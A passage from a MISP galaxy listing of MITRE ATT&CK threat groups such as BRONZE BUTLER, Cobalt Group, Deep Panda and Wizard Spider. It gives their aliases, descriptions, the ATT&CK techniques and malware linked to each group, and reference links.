- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SysUpdate - S0663" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 4989. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://attack.mitre.org/groups/G0027
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf
https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html

https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.secureworks.com/research/bronze-union
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

Threat Group-1314 - G0028

[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-1314 - G0028"*

Threat Group-1314 - G0028 is also known as:

- Threat Group-1314
- TG-1314

View relationships graph

Threat Group-1314 - G0028 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 4990. Table References

Links
http://www.secureworks.com/resources/blog/living-off-the-land/
https://attack.mitre.org/groups/G0028

Dragonfly 2.0 - G0074

[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY)

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly 2.0 - G0074"*

Dragonfly 2.0 - G0074 is also known as:

- Dragonfly 2.0
- IRON LIBERTY
- DYMALLOY
- Berserk Bear

View relationships graph

Dragonfly 2.0 - G0074 has relationships with:

- revoked-by: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="almost-certain"

Table 4991. Table References

Links
http://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://attack.mitre.org/groups/G0074
https://www.dragos.com/threat/dymalloy/
https://www.secureworks.com/research/mcmd-malware-analysis
https://www.secureworks.com/research/threat-profiles/iron-liberty
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://www.us-cert.gov/ncas/alerts/TA18-074A

Lotus Blossom - G0030

[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030"*

Lotus Blossom - G0030 is also known as:

- Lotus Blossom
- DRAGONFISH
- Spring Dragon

View relationships graph

Lotus Blossom - G0030 has relationships with:

- uses: misp-galaxy:mitre-malware="Emissary - S0082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="almost-certain"

Table 4992. Table References

Links
https://attack.mitre.org/groups/G0030
https://securelist.com/the-spring-dragon-apt/70726/
https://www.accenture.com/t20180127T003755Z_w_/us-en/*acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

BRONZE BUTLER - G0060

[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060"*

BRONZE BUTLER - G0060 is also known as:

- BRONZE BUTLER
- REDBALDKNIGHT
- Tick

View relationships graph

BRONZE BUTLER - G0060 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Avenger - S0473" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="down_new - S0472" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ABK - S0469" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Daserf - S0187" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="build_downer - S0471" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BBK - S0470" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 4993. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://attack.mitre.org/groups/G0060
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan

Dark Caracal - G0070

[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Dark Caracal - G0070"*

Dark Caracal - G0070 is also known as:

- Dark Caracal

View relationships graph

Dark Caracal - G0070 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bandook - S0234" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FinFisher - S0182" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CrossRAT - S0235" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pallas - S0399" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

Table 4994. Table References

Links
https://attack.mitre.org/groups/G0070
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Cobalt Group - G0080"*

Cobalt Group - G0080 is also known as:

- Cobalt Group
- GOLD KINGSWOOD
- Cobalt Gang
- Cobalt Spider

View relationships graph

Cobalt Group - G0080 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SpicyOmelette - S0646" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 4995. Table References

Links
https://attack.mitre.org/groups/G0080
https://blog.morphisec.com/cobalt-gang-2.0
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.group-ib.com/blog/cobalt
https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf
https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/
https://www.riskiq.com/blog/labs/cobalt-strike/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

Deep Panda - G0009

[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Deep Panda - G0009"*

Deep Panda - G0009 is also known as:

- Deep Panda
- Shell Crew
- WebMasters
- KungFu Kittens
- PinkPanther
- Black Vine

View relationships graph

Deep Panda - G0009 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="HURRICANE PANDA" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT19" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Mivast - S0080" with estimative-language:likelihood-

probability="almost-certain"

Table 4996. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf
https://attack.mitre.org/groups/G0009
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/
https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Wizard Spider - G0102

[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Wizard Spider - G0102"*

Wizard Spider - G0102 is also known as:

- Wizard Spider
- UNC1878
- TEMP.MixMaster
- Grim Spider

View relationships graph

Wizard Spider - G0102 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TrickBot - S0266" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Emotet - S0367" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
